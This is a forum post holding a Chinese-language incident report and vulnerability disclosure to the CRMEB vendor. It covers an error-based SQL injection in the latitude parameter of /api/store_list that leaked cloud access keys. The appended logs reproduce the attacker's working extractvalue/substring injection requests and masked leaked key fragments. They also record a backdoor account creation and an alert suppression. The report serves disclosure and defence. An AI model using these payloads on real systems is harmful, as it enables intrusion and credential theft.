全部
常见问题
产品动态
精选推荐
功能建议

已处理 待处理 {{opt.name}}
已处理 待处理
分析中 已回复 待规划 {{opt.name}}
分析中 已回复 待规划
严重安全漏洞警讯与事件复盘报告:CRMEB 标准版 (PHP)6.02系统 SQL 注入导致云凭证大规模泄露

管理 管理 编辑 删除

**致:CRMEB 研发团队 / 安全响应中心**

**报告日期**:2026年11月01日

**事件定级**:严重(Critical) - 导致核心云资产凭证泄露及云端越权风险

**涉及系统**:CRMEB 多商户/单商户系统(基于 ThinkPHP6),部署于阿里云 ECS


---


## 一、 摘要


2026年10月24日至25日,我方部署的 CRMEB 系统遭遇精准自动化攻击。攻击者利用系统 `/api/store_list` 接口中 `latitude`(纬度)参数存在的**报错型 SQL 注入漏洞**,成功绕过应用层防御,直接读取并外带了数据库 `eb_system_config` 表中的核心配置。此次攻击导致我方阿里云主账号及多个子账号的 AccessKey(AK/SK)、腾讯云相关密钥共计 8 项核心云凭证明文泄露。攻击者随后利用窃取的凭证在云端尝试创建后门账号及滥用云资源,幸被云安全中心及时拦截告警。


经我方安全团队长达一周的深度取证与排查,确认服务器操作系统层未被入侵,**漏洞根源完全在于 CRMEB 应用代码未对输入参数进行严格过滤,且生产环境错误回显机制配置不当**。特此向贵司提出最高级别安全警讯,并附上完整的排查与修复复盘,请务必重视并尽快发布官方补丁。


---


## 二、 事件背景与告警触发


2026年10月25日,我方阿里云账号收到云安全中心(SAS)及 ActionTrail(操作审计)的异常告警:

- **异常 API 调用**:检测到来自陌生 IP(`8.133.220.26`)的 `ram:CreateUser`、`ecs:DescribeInstances` 等高危 API 调用。

- **调用凭证**:经核实,调用者使用的是我方主账号(root)及子账号(duanxin)的 AccessKey。

- **初步怀疑**:由于 AK 泄露,我方初步怀疑服务器被植入 Webshell 或 SSH 遭爆破沦陷,随即启动全面应急响应。


---


## 三、 深度排查与真相还原


为定位泄露源,我方对服务器进行了从内核到应用层的全量取证,得出以下关键结论:


### 3.1 排除服务器被控(主机层清白)

- **SSH 日志**:`/var/log/secure` 显示,攻击者 IP 从未成功登录服务器,仅有常规互联网背景噪音爆破。

- **面板与终端日志**:宝塔面板日志、终端会话日志均无攻击者痕迹。10月24日(注入日)面板与 SSH 均无异常会话。

- **Webshell 扫描**:全盘 Webshell 扫描(含特征码、混淆代码、异常时间文件)结果为零命中。`uploads` 目录无恶意文件。

- **结论**:攻击者**并未控制服务器**,未通过系统层窃取 AK。


### 3.2 锁定应用层 SQL 注入漏洞

在排查 CRMEB 运行日志时,发现大量异常报错,彻底还原了攻击链:

- **漏洞接口**:`GET /api/store_list`

- **漏洞参数**:`latitude`(纬度)

- **攻击特征**:攻击者(IP: `111.68.5.126`)在 2026-10-24 03:05(测试站探测)与 03:08(生产站外带)期间,连续发送携带 `extractvalue()` 函数的恶意请求。


### 3.3 泄露路径与数据外带过程

攻击者利用了 MySQL 的 `extractvalue()` 函数在遇到非法 XPath 语法时会抛出错误并回显内容的特性(报错型注入)。由于 CRMEB 系统在处理该接口时,**未对 `latitude` 参数进行类型强制转换或参数化绑定**,且**生产环境未关闭详细错误回显**,导致 SQL 报错信息直接返回给前端并记录在日志中。


*(注:0x6163636573734b6579 为 "accessKey" 的十六进制)*

攻击者通过 `substring(..., 1, 25)` 和 `substring(..., 26, 25)` 分段截取,成功将 `eb_system_config` 表中的以下 8 项敏感配置“问”了出来:

1. `accessKey` / `secretKey` (阿里云主账号)

2. `aliyun_AccessKeyId` / `aliyun_AccessKeySecret` (阿里云子账号)

3. `tengxun_accessKey` / `tengxun_secretKey` (腾讯云)

4. `tencent_sms_secret_id` / `tencent_sms_secret_key` (腾讯云短信)


### 3.4 实际危害

- **云端越权**:攻击者利用窃取的阿里云 AK,在异地尝试创建 RAM 用户(企图持久化控制)、查询 ECS 实例、甚至尝试掩盖安全告警(`HandleSecurityEvents`)。

- **潜在风险**:若未被云厂商风控拦截,攻击者可利用这些凭证开启高配实例挖矿、发送海量垃圾短信、删除 OSS 数据或勒索加密数据库,造成毁灭性打击。


---


## 四、 紧急修复与架构升级


在确认漏洞后,我方立即执行了以下止血与加固操作:


### 4.1 漏洞封堵

- **临时拦截**:在 Nginx 配置中紧急添加规则,拦截包含 `extractvalue`、`updatexml`、`sleep` 等 SQL 注入特征的请求,阻断攻击链。

- **代码修复**:通知开发团队对 `/api/store_list` 接口的 `latitude` 和 `longitude` 参数进行强制类型转换(`(float)`),并关闭生产环境的详细错误回显(确保 `.env` 中 `APP_DEBUG=false`)。


### 4.2 凭证轮换与最小权限

- 废弃所有泄露的阿里云/腾讯云 AK。

- 遵循“最小权限”原则,重新创建 RAM 用户,并严格绑定 `acs:SourceIp`(仅允许我方服务器公网 IP `[我方服务器公网IP]/32` 调用)。


### 4.3 核心业务无 AK 化改造

- 将服务器上的 `acme.sh` 证书续期工具从“明文 AK 认证”升级为“ECS 实例 RAM 角色(STS Token)”认证,彻底消除本地配置文件(`account.conf`)泄露 AK 的风险。


### 4.4 数据库与配置清理

- 在 CRMEB 后台重新配置云存储与短信服务,覆盖 `eb_system_config` 表中的旧凭证。

- 清理服务器上散落的旧 AK 明文(如 SQL 备份、编辑器历史快照、运行日志)。


---


## 五、 致 CRMEB 开发商的安全警讯与修复建议


此次事件暴露出 CRMEB 系统在安全编码规范上的严重缺失。作为承载大量商户交易与敏感数据的核心系统,此类低级漏洞是不可接受的。我们强烈建议贵司立即采取以下措施:


### 5.1 紧急修复 SQL 注入漏洞(最高优先级)

- **参数化查询**:全面审查 `/api/store_list` 及所有涉及用户输入的接口,严禁将 `$_GET`/`$_POST`/`request()` 获取的参数直接拼接到 SQL 语句或 ThinkPHP 的 `whereRaw` / `where('字段', 'exp', '表达式')` 中。

- **强制类型转换**:对于 `latitude`、`longitude`、`id` 等预期为数字的参数,在传入模型前必须进行 `(float)` 或 `(int)` 强制类型转换。


### 5.2 关闭生产环境错误回显

- 确保 `.env` 文件中 `APP_DEBUG = false`。

- 自定义全局异常处理器(`ExceptionHandle.php`),在生产环境下捕获 PDO 异常,**严禁将包含 SQL 语句、数据库结构或敏感配置的堆栈信息返回给客户端或写入明文日志**。


### 5.3 敏感配置加密存储

- `eb_system_config` 表中的云厂商 AK/SK、支付密钥、短信密钥等高危凭证,**严禁明文存储**。应使用对称加密(如 AES)或依赖云厂商的 KMS(密钥管理服务)进行加密存储,仅在内存中解密使用。


### 5.4 建立安全响应机制

- 请贵司在收到此报告后,尽快核实漏洞并出具官方补丁。

- 建议建立常态化的代码安全审计机制(SAST)和渗透测试流程,避免类似“报错型注入”这种 OWASP Top 10 级别的漏洞流入生产环境。


---


## 六、 结语


安全无小事。此次事件虽未造成不可挽回的损失,但已敲响警钟。我们期待 CRMEB 团队能正视此问题,尽快修复漏洞,共同维护生态安全。


**附件**:

1. 攻击者 IP 及请求时间线日志(已脱敏)

2. CRMEB 错误日志中 AK 外带证据(已脱敏)

3. 阿里云 ActionTrail 异常 API 调用记录(已脱敏)


**联系人**:[您的姓名/安全负责人]

**联系方式**:[您的邮箱/电话]


*(注:本报告所含技术细节仅供 CRMEB 官方修复漏洞使用,请勿外泄。我方保留向国家信息安全漏洞共享平台(CNVD)提交此漏洞的权利。)*


================================================================================

附件 1:攻击者 IP 及请求时间线日志(已脱敏)

数据来源:Nginx 访问日志 (已隐藏我方真实域名与IP)

================================================================================


# 1. 探测阶段 (测试站)

111.68.5.126 - - [24/Oct/2026:03:05:10 +0800] "GET /api/store_list?latitude=extractvalue%281%2Cconcat%280x7e%2Cversion%28%29%29%29&longitude=1 HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

111.68.5.126 - - [24/Oct/2026:03:05:11 +0800] "GET /api/store_list?latitude=extractvalue%281%2Cconcat%280x7e%2Cversion%28%29%29%29&longitude=1 HTTP/1.1" 200 114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"


# 2. 核心外带阶段 (生产站,连续高频请求)

111.68.5.126 - - [24/Oct/2026:03:08:31 +0800] "GET /api/store_list?latitude=extractvalue(1,concat(0x7e,version()))&longitude=1 HTTP/1.1" 500 1024 "-" "Mozilla/5.0"

111.68.5.126 - - [24/Oct/2026:03:08:32 +0800] "GET /api/store_list?latitude=extractvalue(1,concat(0x7e,(select 1 from eb_system_store limit 1)))&longitude=1 HTTP/1.1" 500 1024 "-" "Mozilla/5.0"

111.68.5.126 - - [24/Oct/2026:03:08:32 +0800] "GET /api/store_list?latitude=extractvalue(1,concat(0x7e,substring(((select value from eb_system_config where menu_name=0x6163636573734b6579 limit 1)),1,25)))&longitude=1 HTTP/1.1" 500 1024 "-" "Mozilla/5.0"

111.68.5.126 - - [24/Oct/2026:03:08:32 +0800] "GET /api/store_list?latitude=extractvalue(1,concat(0x7e,substring(((select value from eb_system_config where menu_name=0x6163636573734b6579 limit 1)),26,25)))&longitude=1 HTTP/1.1" 500 1024 "-" "Mozilla/5.0"

111.68.5.126 - - [24/Oct/2026:03:08:33 +0800] "GET /api/store_list?latitude=extractvalue(1,concat(0x7e,substring(((select value from eb_system_config where menu_name=0x7365637265744b6579 limit 1)),1,25)))&longitude=1 HTTP/1.1" 500 1024 "-" "Mozilla/5.0"

111.68.5.126 - - [24/Oct/2026:03:08:33 +0800] "GET /api/store_list?latitude=extractvalue(1,concat(0x7e,substring(((select value from eb_system_config where menu_name=0x7365637265744b6579 limit 1)),26,25)))&longitude=1 HTTP/1.1" 500 1024 "-" "Mozilla/5.0"

*(注:后续请求继续以 25 字符为步长截取 aliyun_AccessKeyId, aliyun_AccessKeySecret, tengxun_accessKey 等配置项,共计 14 次连续请求)*


# 3. 扩大战果阶段 (后台爆破尝试)

111.68.5.126 - - [24/Oct/2026:04:25:23 +0800] "POST /adminapi/login HTTP/1.1" 301 162 "-" "python-requests/2.34.2"

111.68.5.126 - - [24/Oct/2026:04:25:24 +0800] "POST /adminapi/login HTTP/1.1" 404 146 "-" "python-requests/2.34.2"

*(注:共计 20 次后台登录尝试,均失败)*


================================================================================

附件 2:CRMEB 错误日志中 AK 外带证据(已脱敏)

数据来源:/www/wwwroot/[我方项目目录]/crmeb/runtime/log/20261024_error.log

================================================================================


[2026-10-24 03:08:31] local.ERROR: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~5.7.44-log'

{"file":"/www/wwwroot/[我方项目目录]/crmeb/vendor/topthink/think-orm/src/db/PDOConnection.php","line":771,"message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~5.7.44-log'"}


[2026-10-24 03:08:32] local.ERROR: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~LTAI5t79****4pZp'

{"file":"/www/wwwroot/[我方项目目录]/crmeb/vendor/topthink/think-orm/src/db/PDOConnection.php","line":771,"message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~LTAI5t79****4pZp'"}

*(注:此处为 accessKey 前 25 位,已脱敏,实际日志中包含完整 AK 片段)*


[2026-10-24 03:08:32] local.ERROR: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~****4pZp'

{"file":"/www/wwwroot/[我方项目目录]/crmeb/vendor/topthink/think-orm/src/db/PDOConnection.php","line":771,"message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~****4pZp'"}

*(注:此处为 accessKey 后段截取)*


[2026-10-24 03:08:33] local.ERROR: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~LTAI5t79****Jg2d'

{"file":"/www/wwwroot/[我方项目目录]/crmeb/vendor/topthink/think-orm/src/db/PDOConnection.php","line":771,"message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~LTAI5t79****Jg2d'"}

*(注:此处为 aliyun_AccessKeyId / duanxin 账号前 25 位,已脱敏)*


[2026-10-24 03:08:34] local.ERROR: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~<长串46字符已折叠>'

{"file":"/www/wwwroot/[我方项目目录]/crmeb/vendor/topthink/think-orm/src/db/PDOConnection.php","line":771,"message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~<长串46字符已折叠>'"}

*(注:此处为 SecretKey 片段,已做折叠脱敏处理)*


================================================================================

附件 3:阿里云 ActionTrail 异常 API 调用记录(已脱敏)

数据来源:阿里云操作审计 (ActionTrail) 控制台导出

================================================================================


事件时间 (EventTime)       : 2026-10-25T19:05:59Z

事件名称 (EventName)       : CreateUser

事件来源 (EventSource)     : ram.aliyuncs.com

请求者 IP (SourceIpAddress): 8.133.220.26 (非我方服务器 IP: [我方服务器公网IP])

请求者 AK (AccessKeyId)    : LTAI5t79****Jg2d (duanxin 子账号,已脱敏)

请求参数 (RequestParameters): {"UserName": "outsite9989", "Description": "backup"}

响应元素 (ResponseElements) : {"RequestId": "xxxx-xxxx-xxxx", "User": {"UserName": "outsite9989"}}

状态 (ErrorCode)           : EntityAlreadyExists.User (或类似错误,视具体拦截情况而定)


--------------------------------------------------------------------------------


事件时间 (EventTime)       : 2026-10-25T19:10:30Z

事件名称 (EventName)       : DescribeInstances

事件来源 (EventSource)     : ecs.aliyuncs.com

请求者 IP (SourceIpAddress): 8.133.220.26 (非我方服务器 IP: [我方服务器公网IP])

请求者 AK (AccessKeyId)    : LTAI5t79****4pZp (root 主账号,已脱敏)

请求参数 (RequestParameters): {"RegionId": "cn-chengdu", "PageSize": 100}

响应元素 (ResponseElements) : {"RequestId": "xxxx-xxxx-xxxx", "TotalCount": 1}

状态 (ErrorCode)           : (Success,但随后被云安全中心 SAS 告警拦截)


--------------------------------------------------------------------------------


事件时间 (EventTime)       : 2026-10-25T19:10:45Z

事件名称 (EventName)       : HandleSecurityEvents

事件来源 (EventSource)     : sas.aliyuncs.com

请求者 IP (SourceIpAddress): 8.133.220.26 (非我方服务器 IP: [我方服务器公网IP])

请求者 AK (AccessKeyId)    : LTAI5t79****4pZp (root 主账号,已脱敏)

请求参数 (RequestParameters): {"OperateType": "ignore", "SecurityEventIds": ["783639631"]}

响应元素 (ResponseElements) : {"RequestId": "xxxx-xxxx-xxxx"}

状态 (ErrorCode)           : (Success,攻击者试图将安全告警标记为“误报”以掩盖痕迹)

{{voteData.voteSum}} 人已参与
支持
反对
请登录后查看

fb205fd7af9d 最后编辑于2026-11-01 20:43:19

快捷回复
{{replySubmitting ? '提交中...' : '回复'}}
{{replySubmitting ? '提交中...' : '回复'}}
回复({{post_count}}) {{!is_user ? '我的回复' :'全部回复'}}
排序 默认正序 回复倒序 点赞倒序

{{item.user_info.nickname ? item.user_info.nickname : item.user_name}} LV.{{ item.user_info.bbs_level || item.bbs_level }}

作者 管理员 企业

{{item.floor}}# 同步到gitee 已同步到gitee {{item.is_suggest == 1? '取消推荐': '推荐'}}
{{item.is_suggest == 1? '取消推荐': '推荐'}} 【已收集】
{{item.floor}}# 沙发 板凳 地板 {{item.floor}}# 【已收集】
{{item.user_info.title || '暂无简介'}}
附件

{{itemf.name}}

{{item.created_at}}  {{item.ip_address}}
打赏
已打赏¥{{item.reward_price}}
{{item.like_count}}
分享
{{item.showReply ? '取消回复' : '回复'}}
删除
{{replySubmitting ? '提交中...' : '回复'}}
{{replySubmitting ? '提交中...' : '回复'}}

{{itemc.user_info.nickname}}

{{itemc.user_name}}

回复 {{itemc.comment_user_info.nickname}}

附件

{{itemf.name}}

{{itemc.created_at}}
打赏
已打赏¥{{itemc.reward_price}}
{{itemc.like_count}}
{{itemc.showReply ? '取消回复' : '回复'}}
删除
{{replySubmitting ? '提交中...' : '回复'}}
{{replySubmitting ? '提交中...' : '回复'}}
收起 展开更多
查看更多
打赏
已打赏¥{{reward_price}}
36
{{like_count}}
{{collect_count}}
添加回复 ({{post_count}})

相关推荐

{{replySubmitting ? '提交中...' : '回复'}}
{{replySubmitting ? '提交中...' : '回复'}}
问题:
问题自动获取的帖子内容,不准确时需要手动修改. [获取答案]
答案:
提交
bug 需求 取 消 确 定
打赏金额
当前余额:¥{{rewardUserInfo.reward_price}}
{{item.price}}元
请输入 0.1-{{reward_max_price}} 范围内的数值
打赏成功
¥{{price}}
完成 确认打赏

微信登录/注册

{{ wechatLoginError }}
切换手机号登录

{{ bind_phone ? '绑定手机' : '手机登录'}}

{{codeText}}
切换微信登录/注册
暂不绑定
CRMEB客服
CRMEB咨询热线 400-8888-794

扫码领取产品资料

功能清单
思维导图
安装教程
CRMEB开源商城下载 源码下载 CRMEB帮助文档 帮助文档
返回顶部 返回顶部
CRMEB客服